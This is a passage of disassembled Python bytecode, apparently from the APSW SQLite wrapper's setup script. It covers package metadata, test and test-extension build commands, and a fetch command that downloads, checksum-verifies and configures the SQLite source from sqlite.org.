IcuConfig LOAD_CONST 'IcuConfig | None' LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object get_icu_config at 0x7faa756b70c0, file "f.py", line 837> LOAD_CONST 'get_icu_config' MAKE_FUNCTION STORE_NAME get_icu_config LOAD_CONST <code object <listcomp> at 0x7faa756b7150, file "f.py", line 860> LOAD_CONST '<listcomp>' MAKE_FUNCTION LOAD_NAME glob LOAD_METHOD glob LOAD_CONST 'src/*.[ch]' CALL_METHOD GET_ITER CALL_FUNCTION STORE_NAME depends LOAD_NAME __name__ LOAD_CONST '__main__' COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_NAME setup LOAD_CONST 'apsw' LOAD_NAME version LOAD_CONST '>=3.8' LOAD_CONST 'Another Python SQLite Wrapper' LOAD_NAME pathlib LOAD_METHOD Path LOAD_CONST 'README.rst' CALL_METHOD LOAD_ATTR read_text LOAD_CONST 'utf8' LOAD_CONST ('encoding',) CALL_FUNCTION LOAD_CONST 'text/x-rst' LOAD_CONST 'Roger Binns' LOAD_CONST '[email protected]' LOAD_CONST 'https://github.com/rogerbinns/apsw/' LOAD_NAME project_urls LOAD_CONST 'Development Status :: 5 - Production/Stable' LOAD_CONST 'Intended Audience :: Developers' LOAD_CONST 'License :: OSI Approved' LOAD_CONST 'Programming Language :: C' LOAD_CONST 'Programming Language :: Python :: 3' LOAD_CONST 'Topic :: Database :: Front-Ends' BUILD_LIST LOAD_CONST 'database' LOAD_CONST 'sqlite' BUILD_LIST LOAD_CONST 'OSI Approved' LOAD_CONST 'any' LOAD_NAME Extension LOAD_CONST 'apsw.__init__' LOAD_CONST 'src/apsw.c' BUILD_LIST LOAD_NAME include_dirs LOAD_NAME library_dirs LOAD_NAME libraries LOAD_NAME define_macros LOAD_NAME depends LOAD_CONST ('include_dirs', 'library_dirs', 'libraries', 'define_macros', 'depends') CALL_FUNCTION BUILD_LIST LOAD_CONST 'apsw' BUILD_LIST LOAD_CONST 'apsw' LOAD_CONST '__init__.pyi' LOAD_CONST 'py.typed' BUILD_LIST BUILD_MAP LOAD_NAME run_tests LOAD_NAME build_test_extension LOAD_NAME fetch LOAD_NAME apsw_build_ext LOAD_NAME apsw_build LOAD_NAME apsw_sdist LOAD_CONST ('test', 'build_test_extension', 'fetch', 'build_ext', 'build', 'sdist') BUILD_CONST_KEY_MAP LOAD_CONST ('name', 'version', 'python_requires', 'description', 'long_description', 'long_description_content_type', 'author', 'author_email', 'url', 'project_urls', 'classifiers', 'keywords', 'license', 'platforms', 'ext_modules', 'packages', 'package_data', 'cmdclass') CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL orig_find_local_files LOAD_FAST self CALL_FUNCTION STORE_FAST res LOAD_GLOBAL os LOAD_ATTR path LOAD_METHOD isfile LOAD_CONST 'setup.apsw' CALL_METHOD POP_JUMP_IF_FALSE LOAD_FAST res LOAD_METHOD append LOAD_CONST 'setup.apsw' CALL_METHOD POP_TOP LOAD_FAST res RETURN_VALUE LOAD_GLOBAL sys LOAD_ATTR stdout STORE_FAST dest LOAD_FAST args LOAD_CONST -1 BINARY_SUBSCR LOAD_GLOBAL sys LOAD_ATTR stderr COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST args LOAD_CONST -1 BINARY_SUBSCR STORE_FAST dest LOAD_FAST args LOAD_CONST None LOAD_CONST -1 BUILD_SLICE BINARY_SUBSCR STORE_FAST args LOAD_FAST dest LOAD_METHOD write LOAD_CONST ' ' LOAD_METHOD join LOAD_FAST args CALL_METHOD LOAD_CONST '\n' BINARY_ADD CALL_METHOD POP_TOP LOAD_FAST dest LOAD_METHOD flush CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST mode LOAD_CONST 'rt' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL open LOAD_FAST name LOAD_FAST mode LOAD_CONST 'utf8' LOAD_CONST ('encoding',) CALL_FUNCTION STORE_FAST f SETUP_FINALLY to 36 LOAD_FAST f LOAD_METHOD read CALL_METHOD RETURN_VALUE LOAD_FAST f LOAD_METHOD close CALL_METHOD POP_TOP END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_FAST mode LOAD_CONST 'wt' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL open LOAD_FAST name LOAD_FAST mode LOAD_CONST 'utf8' LOAD_CONST ('encoding',) CALL_FUNCTION STORE_FAST f SETUP_FINALLY to 42 LOAD_FAST f LOAD_METHOD write LOAD_FAST data CALL_METHOD POP_TOP POP_BLOCK LOAD_CONST None LOAD_FAST f LOAD_METHOD close CALL_METHOD POP_TOP END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_GLOBAL len LOAD_FAST v LOAD_METHOD split LOAD_CONST '.' CALL_METHOD CALL_FUNCTION LOAD_CONST 4 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST v LOAD_METHOD rsplit LOAD_CONST '.' LOAD_CONST 1 CALL_METHOD LOAD_CONST 0 BINARY_SUBSCR RETURN_VALUE LOAD_GLOBAL re LOAD_METHOD search LOAD_CONST '3[0-9]{6}' LOAD_FAST url CALL_METHOD STORE_FAST ver LOAD_FAST ver POP_JUMP_IF_FALSE LOAD_GLOBAL int LOAD_FAST ver LOAD_METHOD group LOAD_CONST 0 CALL_METHOD CALL_FUNCTION STORE_FAST ver LOAD_FAST ver LOAD_CONST 3450000 COMPARE_OP >= POP_JUMP_IF_FALSE LOAD_CONST '2024' STORE_FAST year JUMP_FORWARD to 84 LOAD_FAST ver LOAD_CONST 3410000 COMPARE_OP >= POP_JUMP_IF_FALSE LOAD_CONST '2023' STORE_FAST year JUMP_FORWARD to 84 LOAD_FAST ver LOAD_CONST 3370200 COMPARE_OP >= POP_JUMP_IF_FALSE LOAD_CONST '2022' STORE_FAST year JUMP_FORWARD to 84 LOAD_FAST ver LOAD_CONST 3340100 COMPARE_OP >= POP_JUMP_IF_FALSE LOAD_CONST '2021' STORE_FAST year LOAD_CONST '/' LOAD_FAST year BINARY_ADD LOAD_CONST '/' BINARY_ADD LOAD_FAST url COMPARE_OP not in POP_JUMP_IF_FALSE LOAD_FAST url LOAD_METHOD split LOAD_CONST '/' CALL_METHOD STORE_FAST url LOAD_FAST url LOAD_METHOD insert LOAD_CONST 3 LOAD_FAST year CALL_METHOD POP_TOP LOAD_CONST '/' LOAD_METHOD join LOAD_FAST url CALL_METHOD RETURN_VALUE LOAD_FAST url RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'run_tests' STORE_NAME __qualname__ LOAD_CONST 'Run test suite' STORE_NAME description LOAD_CONST ('show-tests', 'v', 'Show each test being run') BUILD_LIST STORE_NAME user_options LOAD_CONST 'show-tests' BUILD_LIST STORE_NAME boolean_options LOAD_CONST <code object initialize_options at 0x7faa53250ed0, file "f.py", line 129> LOAD_CONST 'run_tests.initialize_options' MAKE_FUNCTION STORE_NAME initialize_options LOAD_CONST <code object finalize_options at 0x7faa532506f0, file "f.py", line 132> LOAD_CONST 'run_tests.finalize_options' MAKE_FUNCTION STORE_NAME finalize_options LOAD_CONST <code object run at 0x7faa53250660, file "f.py", line 135> LOAD_CONST 'run_tests.run' MAKE_FUNCTION STORE_NAME run LOAD_CONST None RETURN_VALUE LOAD_CONST 0 LOAD_FAST self STORE_ATTR show_tests LOAD_CONST None RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_CONST 0 LOAD_CONST None IMPORT_NAME unittest STORE_FAST unittest LOAD_CONST 0 LOAD_CONST None IMPORT_NAME apsw.tests STORE_FAST apsw LOAD_FAST apsw LOAD_ATTR tests LOAD_METHOD setup CALL_METHOD POP_TOP LOAD_FAST unittest LOAD_METHOD TestLoader CALL_METHOD LOAD_METHOD loadTestsFromModule LOAD_FAST apsw LOAD_ATTR tests CALL_METHOD STORE_FAST suite LOAD_FAST unittest LOAD_ATTR TextTestRunner LOAD_FAST self LOAD_ATTR show_tests LOAD_CONST 1 BINARY_ADD LOAD_CONST ('verbosity',) CALL_FUNCTION LOAD_METHOD run LOAD_FAST suite CALL_METHOD STORE_FAST result LOAD_FAST result LOAD_METHOD wasSuccessful CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL sys LOAD_METHOD exit LOAD_CONST 1 CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'build_test_extension' STORE_NAME __qualname__ LOAD_CONST 'Compiles APSW test loadable extension' STORE_NAME description BUILD_LIST STORE_NAME user_options LOAD_CONST <code object initialize_options at 0x7faa53250150, file "f.py", line 151> LOAD_CONST 'build_test_extension.initialize_options' MAKE_FUNCTION STORE_NAME initialize_options LOAD_CONST <code object finalize_options at 0x7faa53250810, file "f.py", line 154> LOAD_CONST 'build_test_extension.finalize_options' MAKE_FUNCTION STORE_NAME finalize_options LOAD_CONST <code object run at 0x7faa532501e0, file "f.py", line 157> LOAD_CONST 'build_test_extension.run' MAKE_FUNCTION STORE_NAME run LOAD_CONST None RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_CONST 'testextension.sqlext' STORE_FAST name LOAD_CONST <code object v at 0x7faa53250f60, file "f.py", line 160> LOAD_CONST 'build_test_extension.run.<locals>.v' MAKE_FUNCTION STORE_FAST v LOAD_FAST v LOAD_CONST 'CC' CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_FAST v LOAD_CONST 'CC' CALL_FUNCTION FORMAT_VALUE LOAD_CONST ' ' LOAD_FAST v LOAD_CONST 'CFLAGS' CALL_FUNCTION FORMAT_VALUE LOAD_CONST ' ' LOAD_FAST v LOAD_CONST 'CCSHARED' CALL_FUNCTION FORMAT_VALUE LOAD_CONST ' -Isqlite3 -c src/testextension.c' BUILD_STRING STORE_FAST cc LOAD_FAST v LOAD_CONST 'LDSHARED' CALL_FUNCTION FORMAT_VALUE LOAD_CONST ' testextension.o -o ' LOAD_FAST name FORMAT_VALUE BUILD_STRING STORE_FAST ld SETUP_LOOP to 208 LOAD_FAST cc LOAD_FAST ld BUILD_TUPLE GET_ITER FOR_ITER to 112 STORE_FAST cmd LOAD_GLOBAL print LOAD_FAST cmd CALL_FUNCTION POP_TOP LOAD_GLOBAL subprocess LOAD_ATTR run LOAD_FAST cmd LOAD_CONST True LOAD_CONST True LOAD_CONST ('shell', 'check') CALL_FUNCTION POP_TOP JUMP_ABSOLUTE POP_BLOCK JUMP_FORWARD to 208 LOAD_GLOBAL distutils LOAD_ATTR ccompiler LOAD_ATTR new_compiler LOAD_CONST True LOAD_CONST ('verbose',) CALL_FUNCTION STORE_FAST compiler LOAD_FAST compiler LOAD_METHOD add_include_dir LOAD_CONST 'sqlite3' CALL_METHOD POP_TOP LOAD_FAST compiler LOAD_METHOD add_include_dir LOAD_CONST '.' CALL_METHOD POP_TOP LOAD_CONST 'msvc' LOAD_GLOBAL str LOAD_FAST compiler LOAD_ATTR __class__ CALL_FUNCTION LOAD_METHOD lower CALL_METHOD COMPARE_OP in POP_JUMP_IF_FALSE LOAD_CONST '/Gd' BUILD_LIST JUMP_FORWARD to 178 LOAD_CONST '-fPIC' BUILD_LIST STORE_FAST preargs LOAD_FAST compiler LOAD_ATTR compile LOAD_CONST 'src/testextension.c' BUILD_LIST LOAD_FAST preargs LOAD_CONST ('extra_preargs',) CALL_FUNCTION STORE_FAST objs LOAD_FAST compiler LOAD_METHOD link_shared_object LOAD_FAST objs LOAD_FAST name CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL sysconfig LOAD_METHOD get_config_var LOAD_FAST n CALL_METHOD RETURN_VALUE LOAD_GLOBAL type LOAD_FAST code CALL_FUNCTION LOAD_GLOBAL bytes COMPARE_OP != POP_JUMP_IF_FALSE LOAD_FAST code LOAD_METHOD read CALL_METHOD STORE_FAST code LOAD_GLOBAL type LOAD_FAST code CALL_FUNCTION LOAD_GLOBAL bytes COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST code LOAD_METHOD decode LOAD_CONST 'iso8859-1' CALL_METHOD STORE_FAST code LOAD_GLOBAL type LOAD_FAST code CALL_FUNCTION LOAD_GLOBAL str COMPARE_OP == POP_JUMP_IF_FALSE LOAD_CONST <code object <listcomp> at 0x7fab41505e40, file "f.py", line 188> LOAD_CONST 'fixupcode.<locals>.<listcomp>' MAKE_FUNCTION LOAD_FAST code LOAD_METHOD split LOAD_CONST '\n' CALL_METHOD GET_ITER CALL_FUNCTION RETURN_VALUE LOAD_FAST code RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 18 STORE_FAST l LOAD_FAST l LOAD_CONST '\n' BINARY_ADD LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'fetch' STORE_NAME __qualname__ LOAD_CONST 'Automatically downloads SQLite and components' STORE_NAME description LOAD_CONST 'version=' LOAD_CONST None LOAD_CONST 'Which version of SQLite/components to get (default ' LOAD_NAME sqliteversion LOAD_NAME version CALL_FUNCTION FORMAT_VALUE LOAD_CONST ')' BUILD_STRING BUILD_TUPLE LOAD_CONST ('missing-checksum-ok', None, 'Continue on a missing checksum (default abort)') LOAD_CONST ('sqlite', None, 'Download SQLite amalgamation') LOAD_CONST ('all', None, 'Download all downloadable components') BUILD_LIST STORE_NAME user_options LOAD_CONST 'sqlite' BUILD_LIST STORE_NAME fetch_options LOAD_NAME fetch_options LOAD_CONST 'all' LOAD_CONST 'missing-checksum-ok' BUILD_LIST BINARY_ADD STORE_NAME boolean_options LOAD_CONST <code object initialize_options at 0x7fab41505930, file "f.py", line 211> LOAD_CONST 'fetch.initialize_options' MAKE_FUNCTION STORE_NAME initialize_options LOAD_CONST <code object finalize_options at 0x7fab415056f0, file "f.py", line 217> LOAD_CONST 'fetch.finalize_options' MAKE_FUNCTION STORE_NAME finalize_options LOAD_CONST <code object run at 0x7fab64192c90, file "f.py", line 227> LOAD_CONST 'fetch.run' MAKE_FUNCTION STORE_NAME run LOAD_CONST <code object verifyurl at 0x7fab41ece0c0, file "f.py", line 343> LOAD_CONST 'fetch.verifyurl' MAKE_FUNCTION STORE_NAME verifyurl LOAD_CONST (False, True) LOAD_CONST <code object download at 0x7fab41ece030, file "f.py", line 389> LOAD_CONST 'fetch.download' MAKE_FUNCTION STORE_NAME download LOAD_CONST None RETURN_VALUE LOAD_CONST None LOAD_FAST self STORE_ATTR version LOAD_CONST False LOAD_FAST self STORE_ATTR sqlite LOAD_CONST False LOAD_FAST self STORE_ATTR all LOAD_CONST False LOAD_FAST self STORE_ATTR missing_checksum_ok LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR version LOAD_CONST ('self', None) COMPARE_OP in POP_JUMP_IF_FALSE LOAD_GLOBAL sqliteversion LOAD_GLOBAL version CALL_FUNCTION LOAD_FAST self STORE_ATTR version LOAD_FAST self LOAD_ATTR all POP_JUMP_IF_FALSE SETUP_LOOP to 54 LOAD_FAST self LOAD_ATTR fetch_options GET_ITER FOR_ITER to 52 STORE_FAST i LOAD_GLOBAL setattr LOAD_FAST self LOAD_FAST i LOAD_CONST True CALL_FUNCTION POP_TOP JUMP_ABSOLUTE POP_BLOCK SETUP_LOOP to 80 LOAD_FAST self LOAD_ATTR fetch_options GET_ITER FOR_ITER to 78 STORE_FAST i LOAD_GLOBAL fetch_parts LOAD_METHOD append LOAD_FAST i CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR version LOAD_CONST 'latest' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_GLOBAL write LOAD_CONST ' Getting download page to work out latest SQLite version' CALL_FUNCTION POP_TOP LOAD_FAST self LOAD_ATTR download LOAD_CONST 'https://sqlite.org/download.html' LOAD_CONST True LOAD_CONST False LOAD_CONST ('text', 'checksum') CALL_FUNCTION STORE_FAST page LOAD_GLOBAL re LOAD_METHOD search LOAD_CONST 'sqlite-amalgamation-3([0-9][0-9])([0-9][0-9])([0-9][0-9])\\.zip' LOAD_FAST page CALL_METHOD STORE_DEREF match LOAD_DEREF match POP_JUMP_IF_FALSE LOAD_CONST '3.%d.%d.%d' LOAD_GLOBAL tuple LOAD_CLOSURE match BUILD_TUPLE LOAD_CONST <code object <listcomp> at 0x7fab41505c00, file "f.py", line 238> LOAD_CONST 'fetch.run.<locals>.<listcomp>' MAKE_FUNCTION LOAD_GLOBAL range LOAD_CONST 1 LOAD_CONST 4 CALL_FUNCTION GET_ITER CALL_FUNCTION CALL_FUNCTION BINARY_MODULO LOAD_FAST self STORE_ATTR version LOAD_FAST self LOAD_ATTR version LOAD_METHOD endswith LOAD_CONST '.0' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL sqliteversion LOAD_FAST self LOAD_ATTR version CALL_FUNCTION LOAD_FAST self STORE_ATTR version JUMP_FORWARD to 148 LOAD_GLOBAL write LOAD_CONST 'Unable to determine latest SQLite version. Use --version=VERSION' LOAD_GLOBAL sys LOAD_ATTR stderr CALL_FUNCTION POP_TOP LOAD_GLOBAL write LOAD_CONST 'to set version - eg setup.py fetch --version=3.6.18' LOAD_GLOBAL sys LOAD_ATTR stderr CALL_FUNCTION POP_TOP LOAD_GLOBAL sys LOAD_METHOD exit LOAD_CONST 17 CALL_METHOD POP_TOP LOAD_GLOBAL write LOAD_CONST ' Version is ' LOAD_FAST self LOAD_ATTR version BINARY_ADD CALL_FUNCTION POP_TOP LOAD_CONST 0 STORE_FAST downloaded LOAD_CONST <code object <listcomp> at 0x7fab41505780, file "f.py", line 254> LOAD_CONST 'fetch.run.<locals>.<listcomp>' MAKE_FUNCTION LOAD_FAST self LOAD_ATTR version LOAD_METHOD split LOAD_CONST '.' CALL_METHOD GET_ITER CALL_FUNCTION STORE_FAST v LOAD_GLOBAL len LOAD_FAST v CALL_FUNCTION LOAD_CONST 3 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST v LOAD_METHOD append LOAD_CONST 0 CALL_METHOD POP_TOP LOAD_CONST '%d%02d%02d%02d' LOAD_GLOBAL tuple LOAD_FAST v CALL_FUNCTION BINARY_MODULO LOAD_FAST self STORE_ATTR webversion LOAD_FAST self LOAD_ATTR sqlite EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL write LOAD_CONST ' Getting the SQLite amalgamation' CALL_FUNCTION POP_TOP LOAD_CONST 'https://sqlite.org/sqlite-autoconf-%s.tar.gz' LOAD_FAST self LOAD_ATTR webversion BUILD_TUPLE BINARY_MODULO STORE_FAST AURL LOAD_GLOBAL fixup_download_url LOAD_FAST AURL CALL_FUNCTION STORE_FAST AURL LOAD_FAST self LOAD_ATTR download LOAD_FAST AURL LOAD_CONST True LOAD_CONST ('checksum',) CALL_FUNCTION STORE_FAST data LOAD_CONST None STORE_FAST sqlite3config_h LOAD_GLOBAL os LOAD_ATTR path LOAD_METHOD exists LOAD_CONST 'sqlite3/sqlite3config.h' CALL_METHOD EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL read_whole_file LOAD_CONST 'sqlite3/sqlite3config.h' LOAD_CONST 'rt' CALL_FUNCTION STORE_FAST sqlite3config_h LOAD_GLOBAL os LOAD_ATTR path LOAD_METHOD exists LOAD_CONST 'sqlite3' CALL_METHOD EXTENDED_ARG POP_JUMP_IF_FALSE SETUP_LOOP to 424 LOAD_GLOBAL os LOAD_ATTR walk LOAD_CONST 'sqlite3' LOAD_CONST False LOAD_CONST ('topdown',) CALL_FUNCTION GET_ITER FOR_ITER to 422 UNPACK_SEQUENCE STORE_FAST dirpath STORE_FAST dirnames STORE_FAST filenames SETUP_LOOP to 382 LOAD_FAST filenames GET_ITER FOR_ITER to 380 STORE_FAST file LOAD_GLOBAL os LOAD_METHOD remove LOAD_GLOBAL os LOAD_ATTR path LOAD_METHOD join LOAD_FAST dirpath LOAD_FAST file CALL_METHOD CALL_METHOD POP_TOP EXTENDED_ARG JUMP_ABSOLUTE POP_BLOCK SETUP_LOOP to 418 LOAD_FAST dirnames GET_ITER FOR_ITER to 416 STORE_FAST dir LOAD_GLOBAL os LOAD_METHOD rmdir LOAD_GLOBAL os LOAD_ATTR path LOAD_METHOD join LOAD_FAST dirpath LOAD_FAST dir CALL_METHOD CALL_METHOD POP_TOP EXTENDED_ARG JUMP_ABSOLUTE POP_BLOCK EXTENDED_ARG JUMP_ABSOLUTE POP_BLOCK LOAD_GLOBAL os LOAD_METHOD rmdir LOAD_CONST 'sqlite3' CALL_METHOD POP_TOP LOAD_CONST 0 LOAD_CONST None IMPORT_NAME zlib STORE_FAST zlib LOAD_GLOBAL tarfile LOAD_METHOD open LOAD_CONST 'nonexistentname to keep old python happy' LOAD_CONST 'r' LOAD_FAST data CALL_METHOD STORE_FAST tar LOAD_CONST None STORE_FAST configmember BUILD_MAP STORE_FAST kwargs LOAD_GLOBAL sys LOAD_ATTR version_info LOAD_CONST (3, 11, 4) COMPARE_OP >= EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_CONST 'tar' LOAD_FAST kwargs LOAD_CONST 'filter' STORE_SUBSCR SETUP_LOOP to 542 LOAD_FAST tar LOAD_METHOD getmembers CALL_METHOD GET_ITER FOR_ITER to 540 STORE_FAST member LOAD_FAST tar LOAD_ATTR extract LOAD_FAST member BUILD_TUPLE LOAD_FAST kwargs CALL_FUNCTION POP_TOP LOAD_FAST configmember EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_FAST member LOAD_ATTR name LOAD_METHOD endswith LOAD_CONST '/configure' CALL_METHOD EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST member STORE_FAST configmember EXTENDED_ARG JUMP_ABSOLUTE POP_BLOCK LOAD_FAST tar LOAD_METHOD close CALL_METHOD POP_TOP LOAD_FAST configmember EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL write LOAD_CONST 'Unable to determine directory it extracted to.' LOAD_GLOBAL sys LOAD_ATTR stderr LOAD_CONST ('dest',) CALL_FUNCTION POP_TOP LOAD_GLOBAL sys LOAD_METHOD exit LOAD_CONST 19 CALL_METHOD POP_TOP LOAD_FAST configmember LOAD_ATTR name LOAD_METHOD split LOAD_CONST '/' CALL_METHOD LOAD_CONST 0 BINARY_SUBSCR STORE_FAST dirname LOAD_GLOBAL os LOAD_METHOD rename LOAD_FAST dirname LOAD_CONST 'sqlite3' CALL_METHOD POP_TOP LOAD_GLOBAL sys LOAD_ATTR platform LOAD_CONST 'win32' COMPARE_OP != EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL os LOAD_METHOD chdir LOAD_CONST 'sqlite3' CALL_METHOD POP_TOP LOAD_GLOBAL write LOAD_CONST ' Running configure to work out SQLite compilation flags' CALL_FUNCTION POP_TOP LOAD_GLOBAL os LOAD_METHOD system LOAD_CONST './configure >/dev/null' CALL_METHOD STORE_FAST res LOAD_CONST None STORE_FAST defline SETUP_LOOP to 698 LOAD_GLOBAL read_whole_file LOAD_CONST 'Makefile' LOAD_CONST 'rt' CALL_FUNCTION LOAD_METHOD split LOAD_CONST '\n' CALL_METHOD GET_ITER FOR_ITER to 696 STORE_FAST line LOAD_FAST line LOAD_METHOD startswith LOAD_CONST 'DEFS = ' CALL_METHOD EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST line STORE_FAST defline BREAK_LOOP EXTENDED_ARG JUMP_ABSOLUTE POP_BLOCK LOAD_FAST defline EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL write LOAD_CONST 'Unable to determine compile flags. Create sqlite3/sqlite3config.h to manually set.' LOAD_GLOBAL sys LOAD_ATTR stderr CALL_FUNCTION POP_TOP LOAD_GLOBAL sys LOAD_METHOD exit LOAD_CONST 18 CALL_METHOD POP_TOP BUILD_LIST STORE_FAST defs SETUP_LOOP to 816 LOAD_GLOBAL shlex LOAD_METHOD split LOAD_FAST defline CALL_METHOD GET_ITER FOR_ITER to 814 STORE_FAST part LOAD_FAST part LOAD_METHOD startswith LOAD_CONST '-DHAVE' CALL_METHOD EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST part LOAD_CONST 2 LOAD_CONST None BUILD_SLICE BINARY_SUBSCR STORE_FAST part LOAD_CONST '=' LOAD_FAST part COMPARE_OP in EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST part LOAD_METHOD split LOAD_CONST '=' LOAD_CONST 1 CALL_METHOD STORE_FAST part JUMP_FORWARD to 800 LOAD_FAST part BUILD_TUPLE STORE_FAST part LOAD_FAST defs LOAD_METHOD append LOAD_FAST part CALL_METHOD POP_TOP EXTENDED_ARG JUMP_ABSOLUTE POP_BLOCK LOAD_FAST res LOAD_CONST 0 COMPARE_OP != EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL ValueError LOAD_CONST 'Command execution failed' CALL_FUNCTION RAISE_VARARGS LOAD_FAST defs EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL open LOAD_CONST 'sqlite3config.h' LOAD_CONST 'wt' LOAD_CONST 'utf8' LOAD_CONST ('encoding',) CALL_FUNCTION STORE_FAST op LOAD_FAST op LOAD_METHOD write LOAD_CONST "\n /* This file was generated by parsing how configure altered the Makefile\n which isn't used when building python extensions. It is specific to the\n machine and developer components on which it was run. */\n \n" CALL_METHOD POP_TOP SETUP_LOOP to 898 LOAD_FAST defs GET_ITER FOR_ITER to 896 STORE_FAST define LOAD_FAST op LOAD_METHOD write LOAD_CONST '#define %s %s\n' LOAD_GLOBAL tuple LOAD_FAST define CALL_FUNCTION BINARY_MODULO CALL_METHOD POP_TOP EXTENDED_ARG JUMP_ABSOLUTE POP_BLOCK LOAD_FAST op LOAD_METHOD close CALL_METHOD POP_TOP LOAD_GLOBAL os LOAD_METHOD chdir LOAD_CONST '..' CALL_METHOD POP_TOP LOAD_FAST downloaded LOAD_CONST 1 INPLACE_ADD STORE_FAST downloaded LOAD_FAST downloaded EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL write LOAD_CONST "You didn't specify any components to fetch. Use" CALL_FUNCTION POP_TOP LOAD_GLOBAL write LOAD_CONST ' setup.py fetch --help' CALL_FUNCTION POP_TOP LOAD_GLOBAL write LOAD_CONST 'for a list and details' CALL_FUNCTION POP_TOP LOAD_GLOBAL ValueError LOAD_CONST 'No components downloaded' CALL_FUNCTION RAISE_VARARGS LOAD_CONST None RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 24 STORE_FAST n LOAD_GLOBAL int LOAD_DEREF match LOAD_METHOD group LOAD_FAST n CALL_METHOD CALL_FUNCTION LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 18 STORE_FAST x LOAD_GLOBAL int LOAD_FAST x CALL_FUNCTION LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE LOAD_CONST '%s' LOAD_GLOBAL len LOAD_FAST data CALL_FUNCTION BUILD_TUPLE BINARY_MODULO BUILD_LIST STORE_FAST d LOAD_CONST 0 LOAD_CONST None IMPORT_NAME hashlib STORE_FAST hashlib LOAD_FAST d LOAD_METHOD append LOAD_FAST hashlib LOAD_METHOD sha256 LOAD_FAST data CALL_METHOD LOAD_METHOD hexdigest CALL_METHOD CALL_METHOD POP_TOP LOAD_FAST d LOAD_METHOD append LOAD_FAST hashlib LOAD_METHOD sha3_256 LOAD_FAST data CALL_METHOD LOAD_METHOD hexdigest CALL_METHOD CALL_METHOD POP_TOP LOAD_GLOBAL write LOAD_CONST ' Length:' LOAD_FAST d LOAD_CONST 0 BINARY_SUBSCR LOAD_CONST ' SHA256:' LOAD_FAST d LOAD_CONST 1 BINARY_SUBSCR LOAD_CONST ' SHA3_256:' LOAD_FAST d LOAD_CONST 2 BINARY_SUBSCR CALL_FUNCTION POP_TOP LOAD_GLOBAL os LOAD_ATTR path LOAD_METHOD join LOAD_GLOBAL os LOAD_ATTR path LOAD_METHOD dirname LOAD_GLOBAL __file__ CALL_METHOD LOAD_CONST 'checksums' CALL_METHOD STORE_FAST sums EXTENDED_ARG SETUP_LOOP to 410 LOAD_GLOBAL read_whole_file LOAD_FAST sums LOAD_CONST 'rt' CALL_FUNCTION LOAD_METHOD split LOAD_CONST '\n' CALL_METHOD GET_ITER EXTENDED_ARG FOR_ITER to 408 STORE_FAST line LOAD_FAST line LOAD_METHOD strip CALL_METHOD STORE_FAST line LOAD_GLOBAL len LOAD_FAST line CALL_FUNCTION LOAD_CONST 0 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_FAST line LOAD_CONST 0 BINARY_SUBSCR LOAD_CONST '#' COMPARE_OP == POP_JUMP_IF_FALSE JUMP_ABSOLUTE LOAD_CONST <code object <listcomp> at 0x7fab41503ae0, file "f.py", line 356> LOAD_CONST 'fetch.verifyurl.<locals>.<listcomp>' MAKE_FUNCTION LOAD_FAST line LOAD_METHOD split CALL_METHOD GET_ITER CALL_FUNCTION STORE_FAST l LOAD_GLOBAL len LOAD_FAST l CALL_FUNCTION LOAD_CONST 4 COMPARE_OP != POP_JUMP_IF_FALSE LOAD_GLOBAL write LOAD_CONST 'Invalid line in checksums file:' LOAD_FAST line LOAD_GLOBAL sys LOAD_ATTR stderr CALL_FUNCTION POP_TOP LOAD_GLOBAL ValueError LOAD_CONST 'Bad checksums file' CALL_FUNCTION RAISE_VARARGS 